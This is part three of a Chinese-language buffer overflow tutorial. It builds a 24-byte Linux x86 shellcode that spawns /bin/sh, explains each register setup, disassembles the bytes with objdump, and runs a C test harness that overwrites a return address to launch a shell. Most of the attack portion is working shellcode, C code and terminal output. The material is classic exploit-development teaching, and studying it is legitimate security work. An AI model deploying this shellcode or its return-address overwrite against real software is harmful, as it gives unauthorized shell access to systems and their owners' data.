缓冲区溢出解密(三)
xorl %eax, %eax
接着我们把NULL推入堆栈:
pushl %eax
我们把字符串”//sh”推入堆栈,
2f is / 2f is / 73 is s 68 is h pushl $0x68732f2f
我们把字符串”/bin”推入堆栈:
2f is / 62 is b 69 is i 6e is n pushl $0x6e69622f
可以猜想,现在堆栈指针地址就象我们的NULL结尾字符串”/bin/sh”的地址。因为,从指向栈顶的指针开始,我们有了一个NULL结尾的字符串数组。因此,我们拷贝堆栈指针到EBX寄存器。这样,我们就已经把”/bin/sh”的地址放到EBX寄存器中了。
movl %esp,%ebx
接着我们需要用NULL结尾的数组地址设置ECX。为此,我们在我们的堆栈中创造了一个NULL结尾的数组,与上面那个很像:首先我们PUSH一个NULL。我们不能PUSH NULL,但是我们能PUSH值为NULL的东西,回顾我们异或EAX寄存器在那我们得到了NULL,因此让我们PUSH EAX来在堆栈中得到一个NULL。
pushl %eax
接着,我们PUSH我们的字符串的地址到堆栈,这等同于shell[0]:
pushl %ebx
现在我们有一个NULL结尾数组的指针,我们能够在ECX中保存它的地址:
movl %esp,%ecx
我们还需要其它什么呢?一个在EDX寄存器中的NULL。我们能movl %eax, %edx,但是我们能用一个短的指令完成这个操作:cdq。这个指令是把EAX中的符号位扩展到EDX。:
cdql
我们设定EAX 为0xb,这是系统调用表中的系统调用id。
movb $0x0b,%al
接着,我们转换到核模式:
int 0x80
之后,我们进到核模式,内核将调用exec函数执行我们指示给它的:/bin/sh 这样我们将进入一个交互shell……
因此,在讲了这么多以后,我们所要做的全部就是把这些汇编指令转换到一个字符串中。因此,让我们得到这些十六进制运赛码然后汇编我们的攻击代码:
sc.c : char newsc[]= /* 24 bytes */ "\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\x68""//sh" /* pushl $0x68732f2f */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\x99" /* cdql */ "\xb0\x0b" /* movb $0x0b,%al */ "\xcd\x80" /* int $0x80 */ ; main() { } [murat@victim newsc]$ gcc -g -o sc sc.c [murat@victim newsc]$ objdump -D sc | grep \<newsc\> -A13 080494b0 <sc>: 80494b0: 31 c0 xorl %eax,%eax 80494b2: 50 pushl %eax 80494b3: 68 2f 2f 73 68 pushl $0x68732f2f 80494b8: 68 2f 62 69 6e pushl $0x6e69622f 80494bd: 89 e3 movl %esp,%ebx 80494bf: 50 pushl %eax 80494c0: 53 pushl %ebx 80494c1: 89 e1 movl %esp,%ecx 80494c3: 99 cltd 80494c4: b0 0b movb $0xb,%al 80494c6: cd 80 int $0x80 80494c8: 00 00 addb %al,(%eax) ... [murat@victim newsc]$
在上面的图中,第一行是指令内存地址,接下面的行是汇编指令的运算码,这也是我们兴趣所在,而最后一行是与运算码相关的汇编指令。
那么,这里就是完整的shell代码:
"\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\x68""//sh" /* pushl $0x68732f2f */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\x99" /* cdql */ "\xb0\x0b" /* movb $0x0b,%al */ "\xcd\x80" /* int $0x80 */
最后测试我们的shell代码:
shellcode.c : char sc[]= /* 24 bytes */ "\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\x68""//sh" /* pushl $0x68732f2f */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\x99" /* cdql */ "\xb0\x0b" /* movb $0x0b,%al */ "\xcd\x80" /* int $0x80 */ ; main() { int *ret; ret = (int *)&ret + 2; *ret = sc; } [murat@victim newsc]$ gcc -g -o shellcode shellcode.c [murat@victim newsc]$ ./shellcode bash$